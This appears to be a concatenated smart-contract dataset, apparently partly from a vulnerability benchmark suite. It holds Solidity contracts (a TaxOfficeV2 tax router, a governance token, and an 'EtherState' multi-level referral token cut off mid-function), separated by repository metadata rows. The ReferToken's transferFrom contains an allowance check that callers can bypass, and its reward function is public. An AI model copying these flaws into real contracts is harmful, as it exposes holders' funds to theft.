function setTaxTiersTwap(uint8 _index, uint256 _value) external returns (bool);
function setTaxTiersRate(uint8 _index, uint256 _value) external returns (bool);
function enableAutoCalculateTax() external;
function disableAutoCalculateTax() external;
function setTaxCollectorAddress(address _taxCollectorAddress) external;
function isAddressExcluded(address _address) external returns (bool);
function setTaxRate(uint256 _taxRate) external;
function setBurnThreshold(uint256 _burnThreshold) external;
function excludeAddress(address _address) external returns (bool);
function includeAddress(address _address) external returns (bool);
function setRocketOracle(address _rocketOracle) external;
function setTaxOffice(address _taxOffice) external;
function taxRate() external view returns (uint256);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TaxOfficeV2 is Operator {
using SafeMath for uint256;
address public rocket = address(0xAfE80953BB7A01B0051d929f6626B10d6719dB5F);
address public wftm = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public uniRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
mapping(address => bool) public taxExclusionEnabled;
function setTaxTiersTwap(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(rocket).setTaxTiersTwap(_index, _value);
}
function setTaxTiersRate(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(rocket).setTaxTiersRate(_index, _value);
}
function enableAutoCalculateTax() public onlyOperator {
ITaxable(rocket).enableAutoCalculateTax();
}
function disableAutoCalculateTax() public onlyOperator {
ITaxable(rocket).disableAutoCalculateTax();
}
function setTaxRate(uint256 _taxRate) public onlyOperator {
ITaxable(rocket).setTaxRate(_taxRate);
}
function setBurnThreshold(uint256 _burnThreshold) public onlyOperator {
ITaxable(rocket).setBurnThreshold(_burnThreshold);
}
function setTaxCollectorAddress(address _taxCollectorAddress) public onlyOperator {
ITaxable(rocket).setTaxCollectorAddress(_taxCollectorAddress);
}
function excludeAddressFromTax(address _address) external onlyOperator returns (bool) {
return _excludeAddressFromTax(_address);
}
function _excludeAddressFromTax(address _address) private returns (bool) {
if (!ITaxable(rocket).isAddressExcluded(_address)) {
return ITaxable(rocket).excludeAddress(_address);
}
}
function includeAddressInTax(address _address) external onlyOperator returns (bool) {
return _includeAddressInTax(_address);
}
function _includeAddressInTax(address _address) private returns (bool) {
if (ITaxable(rocket).isAddressExcluded(_address)) {
return ITaxable(rocket).includeAddress(_address);
}
}
function taxRate() external view returns (uint256) {
return ITaxable(rocket).taxRate();
}
function addLiquidityTaxFree(address token,
uint256 amtRocket,
uint256 amtToken,
uint256 amtRocketMin,
uint256 amtTokenMin)
external
returns (uint256,
uint256,
uint256)
{
require(amtRocket != 0 && amtToken != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(rocket).transferFrom(msg.sender, address(this), amtRocket);
IERC20(token).transferFrom(msg.sender, address(this), amtToken);
_approveTokenIfNeeded(rocket, uniRouter);
_approveTokenIfNeeded(token, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtRocket;
uint256 resultAmtToken;
uint256 liquidity;
(resultAmtRocket, resultAmtToken, liquidity) = IUniswapV2Router(uniRouter).addLiquidity(rocket,
token,
amtRocket,
amtToken,
amtRocketMin,
amtTokenMin,
msg.sender,
block.timestamp);
if(amtRocket.sub(resultAmtRocket) > 0) {
IERC20(rocket).transfer(msg.sender, amtRocket.sub(resultAmtRocket));
}
if(amtToken.sub(resultAmtToken) > 0) {
IERC20(token).transfer(msg.sender, amtToken.sub(resultAmtToken));
}
return (resultAmtRocket, resultAmtToken, liquidity);
}
function addLiquidityETHTaxFree(uint256 amtRocket,
uint256 amtRocketMin,
uint256 amtFtmMin)
external
payable
returns (uint256,
uint256,
uint256)
{
require(amtRocket != 0 && msg.value != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(rocket).transferFrom(msg.sender, address(this), amtRocket);
_approveTokenIfNeeded(rocket, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtRocket;
uint256 resultAmtFtm;
uint256 liquidity;
(resultAmtRocket, resultAmtFtm, liquidity) = IUniswapV2Router(uniRouter).addLiquidityETH{value: msg.value}(rocket,
amtRocket,
amtRocketMin,
amtFtmMin,
msg.sender,
block.timestamp);
if(amtRocket.sub(resultAmtRocket) > 0) {
IERC20(rocket).transfer(msg.sender, amtRocket.sub(resultAmtRocket));
}
return (resultAmtRocket, resultAmtFtm, liquidity);
}
function setTaxableRocketOracle(address _rocketOracle) external onlyOperator {
ITaxable(rocket).setRocketOracle(_rocketOracle);
}
function transferTaxOffice(address _newTaxOffice) external onlyOperator {
ITaxable(rocket).setTaxOffice(_newTaxOffice);
}
function taxFreeTransferFrom(address _sender,
address _recipient,
uint256 _amt) external {
require(taxExclusionEnabled[msg.sender], "Address not approved for tax free transfers");
_excludeAddressFromTax(_sender);
IERC20(rocket).transferFrom(_sender, _recipient, _amt);
_includeAddressInTax(_sender);
}
function setTaxExclusionForAddress(address _address, bool _excluded) external onlyOperator {
taxExclusionEnabled[_address] = _excluded;
}
function _approveTokenIfNeeded(address _token, address _router) private {
if (IERC20(_token).allowance(address(this), _router) == 0) {
IERC20(_token).approve(_router, type(uint256).max);
}
}
}
| 311,526 | 118 |
55089fab51fe098e5ec0521e528bc8e0ebb7764da3159551fb2a4437df86b256
| 34,328 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/5e/5e1Acf4b46406D4a8739Be23b499d6b4fa88832d_AIMonkey.sol
| 4,256 | 16,342 |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
// Creator: Chiru Labs
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: ERC20
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 9;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Part: Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: ERC20Capped
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap_) internal {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded");
}
}
}
// File: AIMonkey.sol
// Token with Governance.
contract AIMonkey is ERC20Capped, Ownable {
using SafeMath for uint256;
constructor(string memory _name, string memory _symbol, uint256 _cap) ERC20(_name, _symbol) ERC20Capped(_cap) public {}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TOKEN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TOKEN::delegateBySig: invalid nonce");
require(now <= expiry, "TOKEN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "TOKEN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 34,286 | 119 |
45df51dfb5abb830ad8c360523b44c8b88140315c64ac7cf27e02c85920677e2
| 13,269 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xdf8ee682d538d9a6f8d8e97fe7635baa5c27b63d.sol
| 3,519 | 13,127 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract ReferTokenERC20Basic is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) rewardBalances;
mapping(address => mapping(address => uint256)) allow;
function _transfer(address _from, address _to, uint256 _value) private returns (bool) {
require(_to != address(0));
require(_value <= rewardBalances[_from]);
rewardBalances[_from] = rewardBalances[_from].sub(_value);
rewardBalances[_to] = rewardBalances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return rewardBalances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != msg.sender);
require(allow[_from][msg.sender] > _value || allow[msg.sender][_to] == _value);
success = _transfer(_from, _to, _value);
if (success) {
allow[_from][msg.sender] = allow[_from][msg.sender].sub(_value);
}
return success;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allow[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allow[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PackageContract is ReferTokenERC20Basic, MintableToken {
uint constant daysPerMonth = 30;
mapping(uint => mapping(string => uint256)) internal packageType;
struct Package {
uint256 since;
uint256 tokenValue;
uint256 kindOf;
}
mapping(address => Package) internal userPackages;
function PackageContract() public {
packageType[2]['fee'] = 30;
packageType[2]['reward'] = 20;
packageType[4]['fee'] = 35;
packageType[4]['reward'] = 25;
}
function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) {
return depositMintSince(_to, _amount, _kindOfPackage, now);
}
function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
Package memory pac;
pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage});
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
userPackages[_to] = pac;
return true;
}
function depositBalanceOf(address _owner) public view returns (uint256 balance) {
return userPackages[_owner].tokenValue;
}
function getKindOfPackage(address _owner) public view returns (uint256) {
return userPackages[_owner].kindOf;
}
}
contract ColdWalletToken is PackageContract {
address internal coldWalletAddress;
uint internal percentageCW = 30;
event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress);
event CWPercentageChanged(uint previousPCW, uint newPCW);
function setColdWalletAddress(address _newCWAddress) onlyOwner public {
require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0));
CWStorageTransferred(coldWalletAddress, _newCWAddress);
coldWalletAddress = _newCWAddress;
}
function getColdWalletAddress() onlyOwner public view returns (address) {
return coldWalletAddress;
}
function setPercentageCW(uint _newPCW) onlyOwner public {
require(_newPCW != percentageCW && _newPCW < 100);
CWPercentageChanged(percentageCW, _newPCW);
percentageCW = _newPCW;
}
function getPercentageCW() onlyOwner public view returns (uint) {
return percentageCW;
}
function saveToCW() onlyOwner public {
coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100));
}
}
contract StatusContract is Ownable {
mapping(uint => mapping(string => uint[])) internal statusRewardsMap;
mapping(address => uint) internal statuses;
event StatusChanged(address participant, uint newStatus);
function StatusContract() public {
statusRewardsMap[1]['deposit'] = [3, 2, 1];
statusRewardsMap[1]['refReward'] = [3, 1, 1];
statusRewardsMap[2]['deposit'] = [7, 3, 1];
statusRewardsMap[2]['refReward'] = [5, 3, 1];
statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1];
statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1];
statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1];
statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3];
statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3];
statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3];
}
function getStatusOf(address participant) public view returns (uint) {
return statuses[participant];
}
function setStatus(address participant, uint8 status) public onlyOwner returns (bool) {
return setStatusInternal(participant, status);
}
function setStatusInternal(address participant, uint8 status) internal returns (bool) {
require(statuses[participant] != status && status > 0 && status <= 5);
statuses[participant] = status;
StatusChanged(participant, status);
return true;
}
}
contract ReferTreeContract is Ownable {
mapping(address => address) public referTree;
event TreeStructChanged(address sender, address parentSender);
function checkTreeStructure(address sender, address parentSender) onlyOwner public {
setTreeStructure(sender, parentSender);
}
function setTreeStructure(address sender, address parentSender) internal {
require(referTree[sender] == 0x0);
require(sender != parentSender);
referTree[sender] = parentSender;
TreeStructChanged(sender, parentSender);
}
}
contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract {
string public constant name = "EtherState";
string public constant symbol = "ETHS";
uint256 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public constant hardCap = 10000000 * 1 ether;
mapping(address => uint256) private lastPayoutAddress;
uint private rate = 100;
uint public constant depth = 5;
event RateChanged(uint previousRate, uint newRate);
event DataReceived(bytes data);
event RefererAddressReceived(address referer);
function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) {
require(userPackages[_to].since == 0);
_amount = _amount.mul(rate);
if (depositMint(_to, _amount, _kindOfPackage)) {
payToReferer(_to, _amount, 'deposit');
lastPayoutAddress[_to] = now;
}
}
function rewardMint(address _to, uint256 _amount) private returns (bool) {
rewardBalances[_to] = rewardBalances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function payToReferer(address sender, uint256 _amount, string _key) private {
address currentReferral = sender;
uint currentStatus = 0;
uint256 refValue = 0;
for (uint level = 0; level < depth; ++level) {
currentReferral = referTree[currentReferral];
if (currentReferral == 0x0) {
break;
}
currentStatus = statuses[currentReferral];
if (currentStatus < 3 && level >= 3) {
continue;
}
refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100);
rewardMint(currentReferral, refValue);
}
}
function AddressDailyReward(address rewarded) public {
require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0);
uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days);
uint256 refValue = 0;
if (userPackages[rewarded].kindOf != 0) {
refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100);
rewardMint(rewarded, refValue);
payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward');
}
if (n > 0) {
lastPayoutAddress[rewarded] = now;
}
}
function() external payable {
require(totalSupply < hardCap);
coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100));
bytes memory data = bytes(msg.data);
DataReceived(data);
address referer = getRefererAddress(data);
RefererAddressReceived(referer);
setTreeStructure(msg.sender, referer);
setStatusInternal(msg.sender, 1);
uint8 kind = getReferralPackageKind(data);
depositMintAndPay(msg.sender, msg.value, kind);
}
function getRefererAddress(bytes data) private pure returns (address) {
if (data.length == 1 || data.length == 0) {
return address(0);
}
uint256 referer_address;
uint256 factor = 1;
for (uint i = 20; i > 0; i--) {
referer_address += uint8(data[i - 1]) * factor;
factor = factor * 256;
}
return address(referer_address);
}
function getReferralPackageKind(bytes data) private pure returns (uint8) {
if (data.length == 0) {
return 4;
}
if (data.length == 1) {
return uint8(data[0]);
}
return uint8(data[20]);
}
function withdraw() public {
require(userPackages[msg.sender].tokenValue != 0);
uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate);
